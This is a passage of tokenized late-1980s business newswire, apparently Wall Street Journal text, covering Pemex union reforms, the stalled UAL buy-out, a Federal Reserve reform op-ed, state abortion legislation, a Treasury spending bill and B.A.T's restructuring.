and pervasive graft caused Pemex 's operating costs to balloon to 95 cents of each $ 1 in sales , far above the industry norm . +The declines in investment and efficiency explain in part why Mexico has been importing gasoline this year . +Some projections show Mexico importing crude by the end of the century , barring an overhaul of operations . +`` Whatever you tried to change , whether it was cutting costs or attracting new partners , the big obstacle was the old union leadership , '' says oil consultant George Baker . +Enter Mr. Guzman Cabrera , who has a clear understanding of where union leaders fit in the pro-enterprise regime of President Salinas . +`` I 'm the secretary-general , if there is one , '' he says , greeting a visitor to his office . +Beginning as a laborer in a refinery , Mr. Guzman Cabrera put in more than 40 years at Pemex before being pushed into retirement by La Quina after a dispute two years ago . +Though he also long benefited from the system built by La Quina , Mr. Guzman Cabrera says union perks had simply gotten out of hand . +They are `` at the base of all of the problems of corruption , '' he says . +Thus , in recent contract negotiations , Mr. Guzman Cabrera gave up the union 's right to assign 40 % of all of Pemex 's outside contracts -- an enormous source of kickbacks . +The union also ceded the 2 % commission it had received on all Pemex maintenance contracts . +-LRB- The union will keep a 2 % commission on construction projects . -RRB- +The new contract also eliminates the $ 15 monthly coupon , good only at union-owned grocery stores , that was part of the salary of every worker , from roughneck to chief executive . +About 9,800 technical workers , notably chemists and lawyers , were switched to non-union status . +Also , because of its reduced capital budget , Pemex has phased out about 50,000 transitory construction workers , reducing the work force to about 140,000 , the union leader says . +Mr. Guzman Cabrera says the union 's sacrifices will be offset by a wage and benefit package that amounts to a 22 % increase in compensation . +But Pemex managers are the ones most thrilled by the contract . +`` We are retaking the instruments of administration , '' says Raul Robles , a Pemex subdirector . +Pemex officials would n't say how much money the new contract would save the company , but one previous government estimate pegged savings at around $ 500 million a year . +Pemex 's customers also are pleased with the company 's new spirit . +Grupo Desc , a big conglomerate , has long depended on Pemex petrochemicals to produce plastic packing material . +But when the Pemex plant shut down for an annual overhaul , it would never give notice to its customers . +`` The capriciousness would completely disrupt our operations , '' says Ernesto Vega Velasco , Desc 's finance director . +This year , for the first time , Desc and other customers were consulted well in advance of the Pemex plant 's shutdown to ensure minimal inconvenience . +Taming the union complements previous moves by the government to attract private investment in petrochemicals , which Mexico has been forced to import in large quantities in recent years . +In May , the government unveiled new foreign investment regulations that create special trusts allowing foreigners , long limited to a 40 % stake in secondary petrochemical companies , to own up to 100 % . +Later , the government reclassified several basic petrochemicals as secondary products . +But Pemex 's courtship with private companies , and especially foreign ones , is controversial in a country where oil has been a symbol of national sovereignty since foreign oil holdings were nationalized in 1938 . +`` They are preparing the workers for what 's coming : foreign control , '' wrote Heberto Castillo , a leftist leader . +Mr. Guzman Cabrera and government officials insist that foreigners will be limited to investing in secondary petroleum products . +But the new union leader makes no apologies for Pemex 's more outward-looking attitude . +`` If we do not integrate into this new world of interdependence , sooner or later we 're going to become victims of our own isolation , '' he says . +Couple Counseling Grows to Defuse Stress +MORE EXECUTIVES and their spouses are seeking counseling as work and family pressures mount . +Some employers initiate referrals , especially if work problems threaten a top manager 's job . +Many couples `` are like ships passing in the night , '' a communications gulf that sparks problems on the job and at home , says psychologist Harry Levinson . +His Levinson Institute in Belmont , Mass. , has seen in recent years a doubling in the number of executives and spouses at its weeklong counseling program . +Employers foot the bill , he says , figuring what 's good for the couple is good for the company . +One East Coast manufacturing executive , faced with a job transfer his wife resented , found that counseling helped them both come to grips with the move . +And the vice president of a large Midwestern company realized that an abrasive temperament threatened his career when his wife confided that similar behavior at home harmed their marriage . +More dual-career couples also are getting help , with men increasingly bringing their working wives for joint counseling . +`` The level of stress for a woman is often so high , it 's the husband who says , ` I 'm worried about her , ' '' says psychologist Marjorie Hansen Shaevitz . +Her Institute for Family and Work Relationships in La Jolla , Calif. , has noted a doubling in the number of couples seeking help the past two years . +`` No matter how competent and smart you both are , the relationship almost certainly will erode if you do n't have time to talk , to have fun and to be sexual , '' says Ms. Shaevitz . +She urges client couples to begin a `` detoxification '' period , purging social and other nonproductive activities and setting time apart for themselves . +`` Putting those times on the calendar , '' she says , `` is as important as remembering business appointments . '' +Power of Suggestion Stronger in Japan +HERE 'S ONE more explanation for why Japan is a tough industrial competitor : Two of three Japanese employees submit suggestions to save money , increase efficiency and boost morale , while only 8 % of American workers do . +And the Japanese make far more suggestions -- 2,472 per 100 eligible employees vs. only 13 per 100 employees in the +Data for 1987 from the National Association of Suggestion Systems and the Japan Human Relations Association also indicate that Japanese employers adopt four of five suggestions , while their U.S. counterparts accept just one in four . +In Japan , small suggestions are encouraged . +Each new employee is expected to submit four daily in the first few months on the job . +U.S. companies tend to favor suggestions `` that go for the home runs , '' says Gary Floss , vice president of corporate quality at Control Data Corp . +That helps explain why American employers grant an average award of $ 604.72 per suggestion , while Japan 's payment is $ 3.23 . +Still , suggestions ' net savings per 100 employees is $ 274,475 in Japan vs. $ 24,891 in the U.S. . +U.S. companies developing management teams are wrestling with how to handle individual suggestion systems . +Control Data , for one , plays down its employee suggestion program because it favors the team-management focus . +Merger Fallout : Beware Employee Dishonesty +CORPORATE security directors increasingly worry that merger mania spawns a rise in employee dishonesty . +A Security magazine survey places the effect of takeovers and buy-outs among the industry 's 10 biggest challenges . +`` If it causes management to take their eye off the ball , inventory shrinkage is going to be affected , '' says Lewis Shealy , vice president for loss prevention at Marshall Field 's , the department store chain . +A separate study of the extent of employee misconduct linked general job satisfaction to property loss . +Co-author Richard Hollinger cites what happened at one family-owned company absorbed by a foreign giant . +Pilferage climbed dramatically as many angry employees `` felt abandoned by the former owners , '' says the University of Florida sociologist . +But top management should watch for other tell-tale signs of employee misdeeds , like expense-account fudging and phone misuse . +Security consultant Dennis Dalton of Ventura , Calif. , thinks mergers often trigger longer lunch hours and increased absenteeism , conduct which can sap the bottom line more than thefts . +New management can take several steps to reduce dishonesty . +Most important , experts say , is to show that a company 's ethical tone is set at the top . +Mr. Dalton also recommends that the chief executive establish a rumor control center and move swiftly to bolster morale . +Consultant John Keller of Southlake , Texas , urges that top management adopt a `` tough hands-on approach '' with very tight controls and monitoring . +And security authority Robert L. Duston favors disciplining all employees who cheat . +Firms Walk Fine Line In Distributing Profits +ARE CORPORATE profits distributed fairly ? +A survey by Sirota , Alper & Pfau , a New York consulting firm , underscores the difficulty for top management in satisfying employees and investors on that score . +Nearly seven of 10 investors think companies reinvest `` too little '' of their profits in the business . +And half the employees surveyed think companies dole out too little to them . +But both see a common enemy : About 66 % of employees and 73 % of investors think senior managers get too big a slice of the profit pie . +Bank of New York Co. said it agreed in principle to acquire the credit-card business of Houston-based First City Bancorp. of Texas for between $ 130 million and $ 134 million . +The move , subject to a definitive agreement , is part of a trend by big-city banks that have been buying up credit-card portfolios to expand their business . +Just last month , a Bank of New York subsidiary agreed to buy the credit-card operation of Dreyfus Corp. 's Dreyfus Consumer Bank for $ 168 million , a transaction that is expected to be completed by the end of the year . +First City 's portfolio includes approximately 640,000 accounts with about $ 550 million in loans outstanding . +First City , which issues both MasterCard and Visa cards , has agreed to act as an agent bank . +At the end of the third quarter , Bank of New York 's credit-card business consisted of 2.4 million accounts with $ 3.6 billion in loans outstanding . +Bank of New York is currently the seventh-largest issuer of credit cards in the +First City said that because of increased competition in the credit-card business , it had decided it either had to expand its own holdings substantially or sell them . +`` We think there 's a good prospect that competition is going to get pretty fierce in this market , '' said James E. Day , a First City vice president . +`` We see it becoming a bargain-basement kind of business . '' +The company estimated that the transaction would enhance its book value , which stood at $ 28.55 a share on Sept. 30 , by more than $ 100 million , or about $ 4 a share . +The company also said the transaction would bolster after-tax earnings by $ 3.25 a share when completed and boost its primary capital ratio to 7 % from 6.63 % . +First City , which recently purchased three small Texas banking concerns , said it would use the proceeds to pursue additional expansion opportunities in the Southwest and elsewhere . +With that possibility in mind , analysts said the transaction was a positive move for First City . +`` I think they 'll be able to move faster to make acquisitions in Texas , '' said Brent Erensel , an analyst with Donaldson , Lufkin & Jenrette . +`` That 's something they can do very well . +British Airways PLC said it is seeking improved terms and a sharply lower price in any revised bid for United Airlines parent UAL Corp. following the collapse of a $ 6.79 billion , $ 300-a-share buy-out bid . +Derek Stevens , British Air 's chief financial officer , told Dow Jones Professional Investor Report a price of $ 230 a share is `` certainly not too low , '' and indicated his company would like to reduce the size of its $ 750 million cash investment . +He added the airline is n't committed to going forward with any new bid , and has n't participated in bankers ' efforts to revive the transaction that collapsed . +`` We 're in no way committed to a deal going through at all . +We 're not rushing into anything . +We do n't want to be party to a second rejection , '' he said , adding that coming up with a revised offer could easily take several weeks . +Mr. Stevens 's remarks , confirming a report in The Wall Street Journal that British Air wants to start from scratch in any new bid for the nation 's second-largest airline , helped push UAL stock lower for the fourth straight day . +UAL fell $ 6.25 a share to $ 191.75 on volume of 2.3 million shares in composite trading on the New York Stock Exchange as concern deepened among takeover stock traders about the length of time it will take to revive the purchase . +Under the original buy-out approved by the UAL board Sept. 14 , UAL 's pilots planned to put up $ 200 million in cash and make $ 200 million in annual cost concessions for a 75 % stake . +UAL management was to pay $ 15 million for 10 % , and British Air was to receive a 15 % stake . +The buy-out fell through when Citicorp and Chase Manhattan Corp. unexpectedly failed to obtain bank financing . +Since then , UAL stock has fallen 33 % in what may rank as the largest collapse of a takeover stock ever . +The tenor of Mr. Stevens 's remarks seemed to indicate that British Air will take a more active , high-profile role in pursuing any new bid . +He said he believes UAL management was badly advised on the funding of its original transaction . +Mr. Stevens said British Air has n't received any new buy-out proposals from the labor-management group , led by UAL Chairman Stephen Wolf , and has n't received any indication of when one might be forthcoming . +`` As far as we 're concerned , we 're waiting for the dust to settle , '' he said . +Although British Air is waiting to see what the buy-out group comes up with , Mr. Stevens said a revised transaction with less debt leverage is likely to be more attractive to banks . +He said the original proposal is dead , and all aspects of a revised version are up for change , in light of the changes in UAL 's market price , the amount of debt banks are willing to fund , and the price British Air would be willing to pay . +Mr. Stevens said he expects the new price will be considerably lower , but declined to specify a figure . +Asked whether a $ 230-a-share figure circulating in the market yesterday is too low , he said , `` It 's certainly not too low . '' +He added the original offer was `` a pretty full price , '' and that British Air 's contribution `` was quite a large chunk for us . '' +British Air was originally attracted to the chance of obtaining a 15 % stake in the company , but was n't particularly happy with paying $ 750 million . +`` If the -LCB- new -RCB- deal had us putting up less money but still having 15 % , that would be a point in our favor , '' he said . +In any new proposal , British Air would expect a greater rate of return than the 20%-plus in the original proposal . +In the event that the buy-out group stalls in reviving its bid , the UAL board could remain under some pressure to seek another transaction , even without any legal obligation to do so . +Roughly one-third of its stock is believed held by takeover stock traders , who could vote to oust the board if they become impatient . +Meanwhile , the buy-out group 's task of holding its fragile coalition together , in the face of the bid 's collapse and internal opposition from two other employee groups , has been further complicated by an apparent rift in the ranks of the pilot union itself . +A pilot representing a group of 220 pilots hired during United 's 1985 strike filed suit Friday in Chicago federal court to block the takeover . +The dissident pilots oppose the plan because it would cause them to lose their seniority . +UAL 's management agreed to reduce the seniority of those pilots in exchange for the support of the United pilot union for the buy-out proposal . +The 220 pilots involved in the suit are n't members of the union . +The airline had allowed them to move ahead of some union members in seniority following the 1985 strike , a move the union had contested in a previous lawsuit . +Judith Valente contributed to this article . +Corporate efforts to control health-care costs by requiring evaluations prior to planned hospitalization and surgery have n't been sweeping enough to reduce the long-term rate of cost increases , according to a study by the Institute of Medicine . +In the last decade , many corporations have embraced the `` utilization management '' cost containment strategy as a way to control health-care costs for employees . +These programs vary widely , but often require second opinions on proposed surgery , preadmission reviews of elective hospitalizations and reviews of treatment during illnesses or recovery periods . +Between 50 % and 75 % of today 's workers are covered by such plans , up from 5 % five years ago . +`` Although it probably has reduced the level of expenditures for some purchasers , utilization management -- like most other cost containment strategies -- does n't appear to have altered the long-term rate of increase in health-care costs , '' the Institute of Medicine , an affiliate of the National Academy of Sciences , concluded after a two-year study . +`` Employers who saw a short-term moderation in benefit expenditures are seeing a return to previous trends . '' +While utilization management frequently reduces hospitalization costs , these savings are often offset by increases in outpatient services and higher administrative costs , according to the report by a panel of health-care experts . +The report suggested that current review programs are too narrow . +`` The unnecessary and inappropriate use of the hospital , and not the actual need for a particular procedure , has been the main focus , '' the panel said . +`` As a general rule , prior-review programs have not made case-by-case assessments of the comparative costs of alternative treatments or sites of care . '' +The report said that utilization management should have more of an impact as federal research on the effectiveness of medical treatments helps lead to medical practice guidelines . +Howard Bailit , a panel member and a vice president of Aetna Life & Casualty , said that utilization management will also do a better job of containing costs as it spreads to cover medical services delivered outside of hospitals . +`` There 's pretty good evidence that utilization management has reduced inappropriate hospitalization , '' he said . +But at the same time , spending on physician services and ambulatory care have mushroomed . +`` It 's like squeezing a balloon , '' Dr. Bailit said . +David Rahill of A. Foster Higgins & Co. said that clients of his consulting firm report that utilization management reduces their hospital care bills by about 5 % , but he agreed that for the health-care system as whole , some of these savings are offset by administrative and outpatient care costs . +Jerome Grossman , chairman of the panel , agrees that administrative costs of utilization management programs can be high . +`` You have a whole staff standing ready '' to evaluate the appropriateness of recommended treatment , he said . +Dr. Grossman , who also is president of New England Medical Center Hospitals in Boston , noted that the hospitals he runs deal with more than 100 utilization management firms and that many of them have different procedures and requirements . +The panel urged greater efforts to reduce the complexity , paperwork and cost of utilization review . +`` Utilization management needs to better demonstrate that it reduces the wasteful use of resources , improves the appropriateness of patient care and imposes only reasonable burdens on patients and providers , '' the panel concluded . +Renault and DAF Trucks NV announced a preliminary agreement to jointly manufacture a line of trucks in Britain and France . +Philippe Gras , a Renault managing director , said the new line will cover trucks of between 2.5 tons and 4.2 tons and will be built at Renault 's Bapilly plant in France and at DAF 's British plant . +The French state-controlled auto group and the Dutch truck maker plan to incorporate the new trucks into their product lines when they begin production toward the middle of the 1990s . +Mr. Gras said he expects a definitive agreement between the two companies to be completed in the next few months . +The venture is the latest example of the trend toward cooperative projects in Europe ahead of the 1992 deadline for eliminating trade barriers within the European Community . +Renault and DAF are expected to invest a total of about three billion French francs -LRB- $ 157.8 million -RRB- in the venture , including FFr 1 billion for design and development costs . +In addition , the companies will each spend about FFr 1 billion on tooling up their plants . +Mr. Gras said the joint venture represents considerable savings for both Renault and DAF , since both companies would in any case have had to renew their existing ranges of light goods vehicles . +By pooling their resources , the two groups have effectively halved the design and development costs that would otherwise have been entailed , he said . +Renault officials said the potential European market for light trucks in the 2.5-ton to 4.2-ton range is between 700,000 and 800,000 vehicles annually , and Renault and DAF are aiming for a combined market share of about 11 % . +Both Renault and DAF will have world-wide marketing rights for the new range of vans and light trucks . +Under a separate arrangement , British Aerospace PLC 's Rover Group PLC subsidiary will also be able to offer the vehicles through its dealers in the U.K. , and Renault 's truck-building subsidiary Renault Vehicles Industriels will have similar rights in France . +DAF is 16%-owned by British Aerospace , with a further 6.5 % held by the Dutch state-owned chemical group NV DSM . +The van Doorne family of the Netherlands holds an additional 11 % of DAF 's capital . +The Federal Reserve System is the standard object of suggestions for organizational and institutional changes , for two reasons . +First , its position in the government is anomalous . +It has an unusual kind of independence from elected officials and still has authority over one of the most powerful of government 's instruments -- the control of the money supply . +Thus we have a condition that is easily described as undemocratic . +Second , the responsibilities of the Federal Reserve as guardian of the currency , which means as guardian of the stability of the price level , sometimes lead it to take measures that are unpopular . +As former Fed Chairman William McChesney Martin used to say , they would have to take the punch bowl away just as the party is getting interesting . +So the Federal Reserve is an attractive target for complaint by politicians . +The Fed is easily assigned the blame for unpleasantness , like high interest rates or slow economic growth , while the politicians can escape responsibility by pointing to the Fed 's independence . +This leads to proposals for `` reform '' of the Fed , which have the common feature of making the Fed more responsive to the administration , to the Congress and to public opinion -- without , however , any assumption of additional responsibility by the politicians . +These proposals include changing the term of the chairman , shortening the terms of the members , eliminating the presidents of the Federal Reserve Banks from the decision-making process , putting the Secretary of the Treasury on the Federal Reserve Board , having the Fed audited by an arm of Congress -LRB- the General Accounting Office -RRB- , putting the Fed 's expenditures in the budget , and requiring prompt publication of the Fed 's minutes . +Some of these ideas are again under consideration in Congress . +But these proposals do not rest on a view of what the Fed 's problem is or , if they do , they rest on an incorrect view . +They would not solve the problem ; they would make it worse . +The problem is not that the Fed is too unresponsive to the public interest . +On the contrary , it is too responsive to an incorrect view of the public interest . +The price level in the U.S. is now about 4 1\/4 times as high as it was 30 years ago . +On average , something that cost $ 100 30 years ago now costs $ 425 . +Or , a wage that was $ 100 30 years ago would buy only $ 23.53 worth of stuff today . +On two occasions the inflation rate rose to more than 10 % a year . +In each case the ending of this unsustainable inflation caused a severe recession -- the two worst of the postwar period . +The enormous inflation over the past 30 years was largely due to monetary policy . +At least , it would not have happened without the support of monetary policy that provided for a 10-fold increase in the money supply during the same period . +And that increase in the money supply would not have happened without the consent of the Federal Reserve . +The basic problem of monetary policy , to which reform of the Fed should be addressed , is to prevent a recurrence of this experience . +There were two general reasons for the mistaken monetary policy of the past 30 years : +1 . To some extent the Federal Reserve shared the popular but incorrect view that expansionary monetary policy could yield a net improvement in employment and output . +2 . Even where the Fed did not share this view it felt the need to accommodate to it . +Despite all the formal provisions for its independence , the Fed seems constantly to feel that if it uses its independence too freely it will lose it . +The common proposals for reforming the Fed would only make the situation worse , if they had any effect at all . +Putting the Secretary of the Treasury on the Board of Governors , one of the leading proposals today , is an example . +The secretary is the world 's biggest borrower of money . +He has a built-in , constant longing for lower interest rates . +Moreover , he is a political agent of a political president , who naturally gives extraordinary weight to the way the economy will perform before the next election , and less to its longer-run health . +These days , the secretary suffers the further disqualification that he is a member of a club of seven finance ministers who meet occasionally to decide what exchange rates should be , which is a diversion from the real business of the Federal Reserve to stabilize the price level . +How should a reasonable member of the Federal Reserve Board interpret a congressional decision to put the secretary on the board ? +Could he plausibly interpret it as encouragement for the Fed to give primary emphasis to stabilizing the price level ? +Or would he interpret it as instruction to give more weight to these other objectives that the secretary represents -- low interest rates , short-run economic expansion , and stabilization of exchange rates at internationally managed levels ? +The answer seems perfectly clear . +-LRB- True , a succession of Fed chairmen has given color to the notion that the Secretary of the Treasury belongs on the Fed . +By their constant readiness to advise all and sundry about federal budgetary matters the chairmen have encouraged the belief that fiscal policy and monetary policy are ingredients of a common stew , in which case it is natural that the Fed and the Treasury , and probably also the Congress , should be jointly engaged in stirring the pot . +The Fed 's case for its own independence would be a little stronger if it were more solicitous of the independence of the rest of the government . -RRB- +The Fed 's problem is not that it is too independent , or too unpolitical . +The Fed is responsive to , and can not help being responsive to , the more overtly political part of the government . +The Fed exercises a power given to it by Congress and the president . +But Congress and the president accept no responsibility for the exercise of the power they have given the Fed . +Critics of the present arrangement are correct to say that it is undemocratic . +What is undemocratic is the unwillingness of the more political parts of the government to take the responsibility for deciding the basic question of monetary policy , which is what priority should be given to stabilizing the price level . +To leave this decision to an `` independent '' agency is not only undemocratic . +It also prevents the conduct of a policy that has a long-term rationale , because it leaves the Fed guessing about what are the expectations of its masters , the politicians , who have never had to consider the long-term consequences of monetary policy . +The greatest contribution Congress could make at this time would be to declare that stabilizing the price level is the primary responsibility of the Federal Reserve System . +Legislation to this effect has been introduced in Congress in this session by Rep. Stephen Neal -LRB- D. , N.C . -RRB- . +It is not the kind of thing that is likely to be enacted , however . +Congress would be required to make a hard decision , and Congress would much prefer to leave the hard decision to the Fed and retain its rights of complaint after the fact . +People will say that the nation and the government have other objectives , in addition to stabilizing the price level , which is true . +But that is not the same as saying that the Federal Reserve has other objectives . +The government has other agencies and instruments for pursuing these other objectives . +But it has only the Fed to pursue price-level stability . +And the Fed has at most very limited ability to contribute to the achievement of other objectives by means other than by stabilizing the price level . +The two objectives most commonly thought to be legitimate competitors for the attention of the Fed are high employment and rapid real growth . +But the main lesson of economic policy in the past 30 years is that if the Fed compromises with the price-stability objective in the pursuit of these other goals , the result is not high employment and rapid growth but is inflation . +A former chairman of the president 's Council of Economic Advisers , Mr. Stein is an American Enterprise Institute fellow . +Republic New York Corp. joined the list of banks boosting reserves for losses on loans to less-developed countries , setting out a $ 200 million provision and posting a $ 155.4 million third-quarter net loss as a result . +The per-share loss was $ 5.32 . +In the year earlier period , the New York parent of Republic National Bank had net income of $ 38.7 million , or $ 1.12 a share . +Excluding the provision , Republic earned $ 44.6 million , up 15 % from a year ago . +The bank 's medium-term and long-term loans to less-developed countries total $ 293 million , of which $ 146 million are n't accruing interest , the bank said . +Republic 's total of nonperforming assets was $ 167 million at Sept. 30 , with its reserve for loan losses now standing at $ 357 million . +Abortion-rights advocates won last week 's battles , but the war over the nation 's most-contentious social question is about to pick up again on turf that favors those seeking to restrict abortions . +Strict new regulations seem certain to pass the state House in Pennsylvania next week , with easy approval by the Senate and by Democratic Gov. Bob Casey expected shortly thereafter . +Legislation to require the consent of parents before their daughters under the age of 18 can have abortions will probably pass both houses of the Michigan legislature and set up a grinding battle to override the expected veto of Democratic Gov. James Blanchard . +The short-term shift in the political climate surrounding abortion reflects two factors that are likely to govern the debate in the next several months : the reawakening of the abortion-rights movement as a potent force after years of lassitude , and the ability of each side to counter the other 's advance in one arena with a victory of its own elsewhere . +The action in Pennsylvania , for example , will follow last week 's collapse of a special session of the Florida legislature to enact restrictions on abortions in that state , and the vote here in Washington by the House to permit federally paid abortions for poor women who are victims of rape or incest . +But President Bush is expected to veto the congressional legislation and that , along with the easy approval of the Pennsylvania measure , is likely to mute the abortion-rights activists ' claims of momentum and underline the challenges faced by this resurgent movement . +`` It 's great to feel good for once in 15 years , '' says Harrison Hickman , a consultant to abortion-rights advocates , reflecting the relief of his compatriots after last week 's victories , the first major events since the Supreme Court , in its July 3 Webster decision , permitted the states to enact restrictions on abortions . +`` But how many more times we 're going to feel good in the next 15 is another question . '' +Indeed , abortion-rights activists still face their greatest tests . +`` The pro-choice movement has shown -- finally -- that it can mobilize , '' says Glen Halva-Neubauer , a Furman University political scientist who specializes in how state legislators handle the abortion question . +`` But it still has n't shown that it can win in a state like Pennsylvania or Missouri , where abortion has been clearly an electoral issue and where it 's been an emotional issue for a long time . '' +The foes of abortion hold the strong whip hand in Pennsylvania , where abortion-rights activists are so much on the defensive that their strategy is less to fight the proposed legislation than it is to stress how the state legislature does n't reflect the viewpoints of the state 's citizens . +As a result , GOP state Rep. Stephen Freind of Delaware County , the legislature 's leading foe of abortion , has been given all but free rein to press a strict seven-point plan to restrict abortion and , he hopes , to force the Supreme Court directly to reassess its 1973 Roe v. Wade decision that established the right of abortion in the first place . +The Freind legislation -- the state 's House Judiciary Committee approved it in Harrisburg this week and the full Pennsylvania House is expected to take up the bill next Tuesday -- includes a provision to ban abortions after 24 weeks of pregnancy , except to avert the death of the mother . +Mr. Freind calculates that the provision , which attacks the trimester standards that Roe established , will `` make it necessary '' for the Supreme Court to review Roe and , perhaps , to overturn it . +But the Pennsylvania measure also includes an `` informed consent '' provision that may become widely imitated by abortion foes who want to make women contemplating abortion as uncomfortable as possible with the procedure and with themselves . +Under this legislation , a woman must be informed 24 hours before the operation of the details of the procedure and its risks . +`` Regardless of whether one supports or opposes the right to an abortion , '' Mr. Freind argues , `` it is virtually impossible for any rational human being to disagree with the concept that a woman has the right to have all of the appropriate materials and advice made available to her before she makes a decision which , one way or the other , might remain with her for the rest of her life . '' +In Michigan , where the state Senate is expected to approve parental-consent legislation by the end of next week , Gov. Blanchard is the principal obstacle for anti-abortionists . +Susan Rogin , a consultant to abortion-rights activists in the state , takes comfort from the fact that the state 's House abortion opponents `` have n't been able to muster the votes to overturn a veto on abortion in 16 years . '' +But proponents believe they may be able to shake enough votes loose to override the veto if they are successful in portraying the legislation as a matter of parents ' rights . +In Illinois , lawmakers will vote before next spring on legislation requiring physicians to perform tests on fetuses at 20 weeks to determine their gestational age , weight and lung maturity along with a provision requiring that , if fetuses survive an abortion , a second doctor must be on hand to help it survive . +The legislation failed by one vote to clear the House Rules Committee Tuesday , but anti-abortionists still may succeed in bringing the measure to the floor this fall . +Pamela Sutherland , executive director of the Illinois Planned Parenthood Council , says she and her allies are `` cautiously optimistic '' they can defeat it if it comes to a floor vote . +Abortion foes in Wisconsin , meanwhile , expect a parental-consent bill to be sent to the state assembly floor by early November and are hopeful of prevailing in both houses by next March . +In Texas , abortion opponents want to pass parental-consent legislation along with a statewide ban on the use of public funds , personnel and facilities for abortion , and viability tests for fetuses 19 weeks and older . +The anti-abortionists are urging GOP Gov. Bill Clements to press the issues in a special session scheduled to run Nov. 14 to Dec. 13 . +`` The prognosis is only fair , '' says Kathie Roberts , administrative director of the Texas Right to Life Committee . +`` Next year is an election year and the legislators just do n't want to do anything about this now . '' +This legislative activity comes as both sides are undertaking new mobilization efforts , plunging into gubernatorial races in Virginia and New Jersey , and girding for next autumn 's state elections . +At the same time , abortion foes have developed a national legislative strategy , deciding to move on what Jacki Ragan , the National Right to Life Committee 's director of state organizational development , calls `` reasonable measures that an overwhelming mainstream majority of Americans support . '' +These include bans on the use of abortion for birth control and sex selection , and the public funding of alternatives for abortion . +`` Those who are on the other side can hardly oppose alternative funding if they continue to insist on calling themselves ` pro-choice ' rather than ` pro-abortion , ' '' says Mary Spaulding , the group 's associate state legislative coordinator . +Over the weekend , the National Abortion Rights Action League singled out eight politicians , including Pennsylvania 's Mr. Freind , as 1990 targets and held a Washington seminar designed to train its leaders in political techniques , including how to put the anti-abortionists on the defensive in state legislatures . +`` We now see pro-choice legislators going on the offensive for the first time , '' says Kate Michelman , executive director of the group . +Wall Street +When I was just a child And confronted by my fears , The things that I thought would get me Had fangs and pointed ears . +Nothing much has changed -- My periodic scares Are still from hostile animals , Only now , they 're bulls and bears . +-- Pat D'Amico . +Daffynition +Trained dolphins : pur-poises . +-- Marrill J. Pederson . +This maker and marketer of cartridge tape systems said it completed the sale of 2.85 million shares of common priced at $ 10 a share in an initial public offering . +The company said that it is selling two million shares and that the rest are being sold by certain stockholders . +Proceeds will be used for capital expenditures and working capital . +Goldman , Sachs & Co. and Montgomery Securities Inc. are co-managing the offering . +Congress sent President Bush an $ 18.4 billion fiscal 1990 Treasury and Postal Service bill providing $ 5.5 billion for the Internal Revenue Service and increasing the Customs Service 's air-interdiction program nearly a third . +Final approval came on a simple voice vote in the Senate , and the swift passage contrasted with months of negotiations over the underlying bill which is laced with special-interest provisions for both members and the executive branch . +An estimated $ 33 million was added for university and science grants , including $ 1.5 million for Smith College . +And Southwest lawmakers were a driving force behind $ 54.6 million for U.S.-Mexico border facilities , or more than double the administration 's request . +More than $ 1.8 million is allocated for pensions and expenses for former presidents , and the budget for the official residence of Vice President Quayle is more than doubled , with $ 200,000 designated for improvements to the property . +Even the Office of Management and Budget is remembered with an extra $ 1 million to help offset pay costs that other government departments are being asked to absorb . +Within the IRS , nearly $ 1.95 billion is provided for processing tax returns , a 12 % increase over fiscal 1989 and double what the government was spending five years ago . +Investigation and taxpayer service accounts would grow to $ 1.6 billion , and Congress specifically added $ 7.4 million for stepped up criminal investigations of money laundering related to drug traffic . +The large increase in Customs Service air-interdiction funds is also intended to counter smuggling , and the annual appropriations level has more than quadrupled in five years . +The $ 196.7 million provided for fiscal 1990 anticipates the purchase of a Lockheed P-3 surveillance aircraft and five Cessna Citation II jets . +Despite administration reservations , the plan has had the quiet backing of customs officials as well as influential lawmakers from Cessna 's home state , Kansas . +Among legislative provisions attached to the bill is a ban on any Treasury Department expenditure for enforcement of a 1986 tax provision intended to counter discrimination in employee-benefit plans . +Small-business interests have lobbied against the so-called Section 89 tax rules . +Repeal is considered likely now , but the Treasury Department bill has been used as a vehicle to raise the profile of the issue and block any action in the interim . +Less noticed is a bit of legislative legerdemain by Houston Republicans on behalf of HEI Corp. of Texas to retroactively `` move '' a Missouri hospital from one county to the next to justify higher Medicare reimbursements . +The provision seeks to wipe out an estimated $ 1.4 million in claims made by the Health Care Finance Administration against HEI , which owned the hospital in Sullivan , Mo. , during most of the four-year period -- 1983-1987 -- covered in the amendment . +In a separate development , a private meeting is scheduled this morning between House Appropriations Committee Chairman Jamie Whitten -LRB- D. , Miss . -RRB- and Sen. Dale Bumpers -LRB- D. , Ark . -RRB- in an effort to end a dispute which for two weeks has delayed action on an estimated $ 44 billion agriculture bill . +A House-Senate conference reached agreement Oct. 5 on virtually all major provisions of the bill , but final settlement has been stalled because of differences between the two men over the fate of a modest Arkansas-based program to provide technical information to farmers seeking to reduce their dependence on chemical fertilizers and pesticides . +The program 's nonprofit sponsors received $ 900,000 in fiscal 1989 through an Extension Service grant , but Mr. Whitten has been adamant in insisting that the program be cut in 1990 . +The 79-year-old Mississippian takes a more orthodox , entrenched view of agriculture policy than those in the movement to reduce chemical use , but as a master of pork-barrel politics , he is believed to be annoyed as well that the project moved to Arkansas from a Tennessee center near Memphis and the northern Mississippi border . +Michael F. Klatman , director of corporate public relations at Data General Corp. , was named to the new position of vice president , corporate communications , of this maker of data storage equipment . +B.A.T Industries PLC may delay aspects of its defensive restructuring plan -- including the sale of its Saks Fifth Avenue and Marshall Field units -- in the wake of the current upheaval in financial markets , company officials said . +The British conglomerate , planning its own defensive restructuring to fight off a # 13.35 billion -LRB- $ 21.03 billion -RRB- takeover bid by Anglo-French financier Sir James Goldsmith , intends to press ahead with an extraordinary shareholder vote today to clear the way for its value-boosting measures . +If anything , the gyrations in world stock markets -- and in B.A.T 's share price -- since last Friday 's sharp Wall Street sell-off have increased the likelihood of shareholder approval for the restructuring , analysts and several big institutional holders said . +`` Thank God we have some deal on the table , '' said Stewart Gilchrist , a director at Scottish Amicable Investment Managers , which intends to vote its roughly 1 % stake in favor of the restructuring . +Investors in B.A.T have been on a roller coaster . +B.A.T has been London 's best-performing blue chip over the past six months , up 40 % against a 4 % rise in the Financial Times 100-Share Index . +But this week , B.A.T has been hit harder than other big U.K. stocks -- first by the market gyrations , then by Tuesday 's San Francisco earthquake , which could leave B.A.T 's Farmers Group Inc. insurance unit facing big claims . +B.A.T rose five pence -LRB- eight cents -RRB- to 756 pence -LRB- $ 11.91 -RRB- in London yesterday as a late market rally erased a 28-pence fall earlier in the day . +To fight off predators , B.A.T plans to spin off about $ 6 billion in assets , largely by selling such U.S. retailing units as Marshall Field and Saks and by floating its big paper and U.K. retailing business via share issues to existing holders . 